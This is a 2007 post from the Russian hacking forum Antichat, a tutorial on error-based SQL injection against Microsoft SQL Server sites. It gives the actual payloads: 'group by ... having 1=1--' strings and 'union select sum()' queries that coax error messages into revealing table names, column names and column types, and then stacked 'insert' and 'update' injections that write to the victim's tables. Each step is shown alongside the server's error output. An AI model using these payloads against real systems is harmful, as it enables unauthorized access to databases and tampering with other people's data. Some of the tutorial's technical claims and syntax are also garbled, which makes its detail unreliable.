Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

25.08.2007, 13:07
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Альтернативы MSSQL иньекций.
Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это
"The command text contained one or more errors"
ошибочка довольно забавная особденно кода идет еще с добавочным потерянным параметром (или без него) допуспим:
GET
?id=1'
и в ответ получаем
Syntax error in string in query expression 'addID = 1000''
Дальше будем что делать за прос что бы узнать table.feild, и будем использывать такую конструкцию для запроса having 1=1--
(для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос)
В ответ мы должны получить что то типо такого запроса.
Column ‘NEWS.TITLE’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
Будем смотреть структуру бд далее используя такой синтаксис.
‘ group by NEWS.TITLE having 1=1--
Во ответ получим что то типа
Column ‘NEWS.TEXT’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
В итоге мы нашли еще 1 поле NEWS.TEXT продолжим наш небольшой переборчик.
‘ group by NEWS.TITLE,NEWS.TEXT having 1=1--
Получим что то типо:
Column ‘NEWS.ID’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
Этот способ мы можем использывать для обхода кавычек и замены методу where not in('1','2').
‘ group by NEWS.TITLE,NEWS.1,NEWS.2,NEWS.3,NEWS.4 having 1=1--
Что ж мы узнали примерную структуру, теперь мы можеть узнать кодировку данных... Будем использывать функцию sum(), для этого нам придеться исползывать запрос вывода select мы можем сделать это 2 способами исползывать подзапрос или оператор uinon разницы в приныпе нету, в примере буду сползывать union с 1 колонкой.
` union select sum(ID) from NEWS--
` union select sum(TITLE) from NEWS--
` union select sum(TEXT) from NEWS--
Получим в ответ что типо:
The sum or average aggregate operation cannot take a
varchar data type as an argument.
Где varchar это тип кодировки. Зачем это есть кодировки кторые не выводяться в иньекции, сообсвенно в 99% случаев выводяться кадеровки varchar и int. Дальше можно сделать адейт таблицы
` ; insert into NEWS values( 1, 'hack', 'hack')--"
или
` ; update NEWS values( 1, 'hack', 'hack')--
В ответ мы не должны получить не 1 ошибки так как запрос правильный, и не содержит выходных данных.
Пока все продолжение следует.
[ cash ] Hack-Shop.Org.Ru (c)
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|